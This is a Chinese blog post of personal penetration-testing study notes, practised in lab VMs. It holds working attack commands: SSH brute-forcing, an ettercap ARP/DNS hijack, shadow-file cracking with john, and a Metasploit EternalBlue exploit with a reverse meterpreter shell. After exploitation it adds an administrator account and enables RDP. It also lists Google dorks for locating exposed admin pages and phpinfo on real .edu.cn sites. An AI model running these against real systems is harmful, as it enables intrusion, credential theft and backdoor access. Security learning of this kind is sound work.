web安全学习笔记

免责声明:本篇发布的一切资源仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请自负。

1.基础知识

1.渗透测试步骤(7步):

编号步骤工作
1确定目标选择要测试的目标网站
2信息收集收集网站相关信息(操作系统,数据库,端口服务,脚本语言,子域名和CMS系统)
3漏洞探测利用收集的信息寻找目标脆弱点
4利用漏洞(获得webshell)攻克对方系统,拿到系统权限
5内网渗透进一步攻克内网其他主机
6验证与修复漏洞验证与修复
7撰写报告清除渗透痕迹,撰写渗透测试报告
2.网站运行原理
编号组件内容
1服务器的操作系统windows,linux
2中间件tomcat,apache,nginx
3数据库mysql,access
4代码ASP,PHP,JSP
5静态资源html,css,javascript

2.配置靶场

2.1win7配置dvwa

首先在VMware Workstation Pro里面安装win7环境,然后下载phpstudy,进行安装。
1.启动phpstudy,启动php,apache,mysql:
请添加图片描述
启动之后可以在虚拟机里面输入127.0.0.1查看是否成功:
请添加图片描述
3.查看虚拟机的ip(这里应该是nat模式,图有错)并且在主机通过ip查看是否成功:
请添加图片描述
3.打开根目录,删除里面的两个文件:
请添加图片描述
4.复制dvwa文件夹内容到虚拟机的文件夹内,然后就可以再主机中通过输入虚拟机的ip地址,进入到dvwa,点击下面的创建数据库,进入到登陆界面,admin:password登录进入靶场。
请添加图片描述

然后这里我遇到问题,复制后电脑总是出现蓝屏,解决方案如下,而且最后我换了vmware16pro。
请添加图片描述
请添加图片描述

2.2 kali配置Metasploitable2

虚拟机安装kali,下载metasploitable2。首先给kali安装tools:
请添加图片描述
给kali更新软件源
请添加图片描述

然后在虚拟机中打开下载的metaploitable文件:
请添加图片描述
用kali扫描靶机metaploitable:
请添加图片描述

3.基础练习

3.1 nmap(诸神之眼)工具的使用

1.kali查看IP:ip address show
2.nmap的图形工具:zenmap
3.敲空格可以查看扫描的进度

3.1.1 nmap直接扫描目标

nmap ip

1.port(端口);2.state(端口状态);3.service(端口服务)
1.open(端口开放);2.closed(端口关闭)3.filtered(端口被防火墙IDS/IPS屏蔽,无法确定状态);4.unfiltered(端口未被屏蔽,但是否开放需要进一步确定);5.open|filtered(端口开放或被过滤);6.closed|filtered(端口关闭或被过滤)
请添加图片描述

3.1.2 nmap使用sS方式扫描目标

nmap -sS -sV -T4 ip

-sS :使用tcp SYN扫描(如果端口开放,服务响应SYN-ACK数据包;如果关闭,则响应RST数据包。)
-sV 探测服务的相关版本信息
-T4快速扫描方式(扫描速度的级别T0-T5,依次变快)
请添加图片描述

3.1.3 nmap全面扫描

nmap -A -T4 ip

-A 全面扫描
请添加图片描述

3.1.4 nmap扫描经常开放的top100端口

nmap --top-ports 100 ip

请添加图片描述

3.1.5 nmap扫描网段

nmap 网段ip

请添加图片描述

3.1.6 nmap配合漏洞脚本扫描

nmap --script-vuln ip

请添加图片描述

3.2 使用xhydra进行协议爆破

xhydra是hydra(九头蛇)的图形应用程序,支持FTP、MYSQL、SMTP、TELNET、SSH等众多协议的口令、账号、密码爆破。
首先我在win10上打开22端口的ssh服务,并设置了登录名和密码:
请添加图片描述
然后在kali上使用nmap扫描到22端口开放,并且使用用户名和密码可以登录:
在这里插入图片描述
接下来假装我的win10开了22端口但是我不知道用户名和密码,而使用xhydra进行密码和用户名的爆破:
在这里插入图片描述
完成爆破后可以使用xshell连接对方的ssh。

3.3 使用crunch生成字典

crunch参数:
1.min(必选):设定最小字符串长度
2.max(必选):设定最大字符串长度
3.-o :生成的字典保存在指定文件夹内
4.-t:指定密码输出格式
5.-p:指定元素组合
6.%:代表数字
7.^:代表特殊符号
8.@:代表小写字母
9.,(逗号):代表大写字母

3.3.1生成字母组成的字典

必须指定最小和最大字符数

crunch 2 4 > 1.txt

请添加图片描述

3.3.2生成指定格式的字典

-t指定具体的格式

crunch 7 7 -t admin%% >2.txt

请添加图片描述

3.3.3生成11位指定段的手机号

-o指定输出位置

crunch 11 11 -t 1399164%%%% -o mobile.txt

请添加图片描述

3.3.4指定库文件的某模板去生成字典

-f指定按照某文件格式去生成

crunch 6 6 -f /usr/share/crunch/charest.lst hex-lower -o 3.txt

请添加图片描述

3.3.5生成数字字典

crunch 6 6 0123456789 -o 5.txt

请添加图片描述

3.3.6生成某几个字符串组合的字典

-p

crunch 3 3 -p ad fe 32 > 6.txt

请添加图片描述

3.4内网DNS劫持

原理:网络传输在物理层上,传输的二进制和MAC帧将ip解析成MAC地址(ARP缓存表),ip不固定所以arp缓存表每隔一段时间就会发起广播进行更新,KALI一直不停的响应自己的MAC,这时ARP更新时把网关的MAC地址更新成了KALI的,这时把KALI伪造成网关的MAC,当访问网页时,先通过网关(这时是KALI),KALI截获信息,并解析为我自己的Ip并且配置好伪造的页面。
1.首先在kali里面写自己的html网页,然后打开kali的apache服务,如图,我的图片不显示,不知道为什么,懂html的大佬欢迎留言指正,感谢。
打开apache服务:

systemctl start apache2

请添加图片描述
2.配置etter.dns文件:

leafpad /etc/sttercap/etter.dns

请添加图片描述
3.使用ettercap工具进行网络劫持,首先ettercap -G打开工具,然后进行设置

ettercap -G

请添加图片描述
4.去被攻击主机上网页,发现网页是kali内的html。
请添加图片描述
虚拟机里面网关的查看
请添加图片描述

3.5 哈希破解

john(全程 john the ripper)是一个快速破解密码的工具,根据密文破解出明文,支持DES、MD4、MD5等加密算法。
1.首先在kali上新建一个用户
请添加图片描述
etc/passwd是linux系统存档账户的文件;/etc/shadow是系统存储密码的文件:
请添加图片描述
2.使用unshadow将两个文件组合成一个文件,然后使用john破解

unshadow /etc/passwd /etc/shadow > test.txt
john test.txt

在这里插入图片描述

3.6 MSF

3.6.1利用永恒之蓝进行远控

msf(the metasploit framework)附带数百个已知软件漏洞的专业级漏洞攻击工具。
第一次使用时要打开db

service postgresql start 
msfdb init
service metasploit start 
msfconsole

kali启动msf:

msfconsole

exploits:利用漏洞进行攻击的模块
auxiliary:信息搜集、扫描、嗅探、指纹识别、口令猜测等辅助模块
post:后渗透模块
payloads:成功执行exploit后,在目标系统中执行的代码指令
encoder:对payload加密
nops:提高payload稳定性
请添加图片描述
MS17-010:微软的SMB远程代码执行漏洞基于445端口攻击,利用这个远程代码执行漏洞想microsoft服务器消息块(SMBv1)服务器发送经特殊设计的消息后,允许远程代码执行。这里我没搜出来,然后更换了5.0版本。
1.首先用nmap查看对方是否开了445端口,然后用MS17-010里面的auxiliary模块检测对方是否存在这个漏洞

nmap 192.168.81.131 ###查看对方是否开放445
msfconsole ###打开msf
search ms17-010 ###在msf里搜索ms17-010
use 1 ###使用auxiliary里的ms17-010
info ###查看这个漏洞的这个模块的信息
set rhosts ###设置对方的ip地址
run ###开始检测对方是否存在此漏洞,也可使用exploit

请添加图片描述
2.检测到对方存在此漏洞,这时使用exploit模块进行漏洞执行,并设置payload(这时设置自己的ip时,用lhost,没有复数s),使得kali可以有效接收对方的消息,拿到对方shell。

search ms17-010 ###查找这个漏洞
use 2 ###使用永恒之蓝
info ###查看这个模块的信息
set rhosts ip ###设置对方ip
set payload windows/x64/meterpreter/reverse_tcp ###设置payload,可以接收对方信息
show options ###查看payload设置参数
set lhost ip ###设置我的ip
run ###都设置完后,开始执行漏洞

请添加图片描述

3.拿到了对方shell后可以添加用户并开启3389远程桌面服务,实现远控,kali上可以启用rdesktop应用开启远程,windows上在win+r里面输入mstsc进行远连。

getuid ###查看当前shell的权限
shell ###进入到对方的cmd命令
chcp 65001 ### 在对方的cmd下设置编码为utf-8
net user dzz dzz .add ###新增用户名dzz,密码dzz
net localgroup  administrators dzz /add ###将这个用户添加到管理员组
exit ###退出对方shell
run post/windows/manage/enable_rdp ###利用后渗透模块开启对方的3389远程服务 

请添加图片描述

3.7 网站目录扫描

dirbuster使用暴力枚举发现网站的敏感目录或文件,比如后台登陆点、源码泄露等.
请添加图片描述

brute force dirs:枚举目录
brute force files:枚举文件
be recursive :递归
use blank extension:延伸
dir to start with:开始爆破的路径
file extension:文件类型

4.信息收集

收集到的信息越多,攻击面越广。需要收集的信息有1.目标域名相关信息(域名注册人、联系方式、邮箱、子域名、c段、旁站等);2.目标服务器相关信息(操作系统、版本、内核、中间件、数据库、开放的端口和服务);3.目标CMS服务和框架;4.目标后台的敏感目录和文件。

4.1 谷歌的hacking语法

A.首先搭建代理服务器:1.购买gw服务器然后搭建dl(搬瓦工,vultr);2.购买dl服务器(cloudss)。
B.谷歌浏览器收集信息的插件:1.wappalyzer:收集对方的杂项、js、web服务器、反向代理、编程语言等信息;2.modheader:帮助我们自定义请求头。(xff代表客户端最原始的IP,referer代表http请求中的referer信息)。
C.haking语法:1批量寻找网站后台:

语法关键词
inurl:login
intext:后台登录
intitle:网络管理系统
2.指定网站寻找后台
site:www.example.com inurl:login
site:www.example.com intext:后台管理系统
site:www.example.com inurl:网站管理系统
3.指定返回文件类型
语法关键字
filetype:xls;pdf
4.批量寻找目录遍历漏洞
语法关键字
intext :index of / ; index of /admin
5.批量找phpmyadmin入口
语法关键字
inurl:/phpMyAdmin/index.php
6.批量寻找可能存在注入漏洞的网站
语法关键字
inurl:.php?id=
7.批量找敏感文件(这里我找学校后缀的)
语法关键字
site:*.edu.cn inurl:/phpinfo.php

4.2FOFA资产收集

FOFA是一款网络空间安全搜素引擎,在FOFA中收录的全是设备,利用它可以搜索全球互联资产信息,进行资产以及漏洞影响范围分析。
FOFA语法如下(语法结合使用&&)

语法含义
ip=“1.1.1.1”#从ip中搜索包含1.1.1.1的网站,可以搜索到这个ip有多少资产
port="8009#查找对应8009端口的资产
domain=“qq.com”#搜索根域名带有qq.com的网站
city=“HangZhou”#搜索指定城市资产
app=“phpMyAdmin”#搜索phpmyadmin的设备
server==“Microsoft-IIS/7.5”#搜索IIS7.5服务器

4.3域名相关信息收集

1.网络注册信息收集(站长之家):whois是一个标准的互联网协议,可以收集到注册域名,ip地址,邮箱反差,注册人反查等。
2.子域名收集(https://phpinfo.me/domain/):在线查询子域名信息。
3.旁站和C段收集(http://www.webscan.cc):旁站是同台服务器上其他网站;c段是ip中A.B.C.D指同ABC不同D(1-255)的服务器。

4.4敏感文件扫描

如果通过敏感文件的扫描找到源码(常见源码有.git.svn.rar)泄露,则可以配合代码审计工具找到漏洞。
1.使用dirsearch.py扫描目标网址的敏感目录文件(winscp可以使kali和win传输文件)

python3 dirsearch.py -u mubiaowangzhi -e *

2.使用githack.py将网站源码拖取下来

Python githack.py 目标网址/.git/

3.开始代码审计

4.5网站后台信息收集

1.通过robots.txt文件寻找,因为它是限制爬虫爬取的目录文件。
2.谷歌haking语法:site+inurl/intext/intitle
3.查看网站底部是否有管理入口
4.请求一些不存在的错误路径
5.在线网站识别目标CMS指纹信息(bugscaner),进一步找到后台。
6.猜常见的后台路径:主站+admin,login,system,admin_login等。
7.使用后台扫描工具(御剑,dirsearch)。
8.找子域名,可能是后台。
9.通过XXS去X进后台。

4.6网页JS收集

1.使用JSFinder.py简单爬取网站JS文件的接口

python3 JSFinder.py -u https://example.com

2.深度爬取(-d),URL保存文件名(-ou),子域名保存文件名(-os)

python3 JSFinder.py -u https://example.com -d -ou url.txt -os domain.txt

4.7 绕过CDN找真实IP

1.首先判断网站是否存在CDN:
1.1通过ping域名查看是否是固定ip。
1.2在线网站对比ping出来的结果(https://www.17ce.com/site)。
2.找真实IP:
2.1扫描子域名,可以找出真实ip;
2.2gw网站多地ping,因为有可能国外没设DNS(asm.ca.com)。
2.3查询历史域名解析记录(https://x.threatbook.cn/;https://www.netcraft.com/);
2.4phpinfo信息泄露找ip,phpinfor的server_addr记录了服务器的真实ip。

4.8常用工具站

1.云系(http://www.yunsee.cn):收集对方网站的指纹信息,域名信息,ip信息,子域名等。
2.微步(https://x.threatbook.cn):收集网站情报信息。
3.bugscaner(http://whatweb.bugscaner.com/):收集网站指纹信息。

5暴力破解与枚举

5.1 win下弱口令破解

1.打开靶机22端口,开启ssh服务端,用完记得net stop sshd。
请添加图片描述
2.在win下用字典破解弱口令
请添加图片描述
3.连接对方shell
请添加图片描述

8.1 使用DVWA进行暴力破解

1.首先设置等级low:
请添加图片描述

3.2 使用DVWA进行sql注入

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我是小z呀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值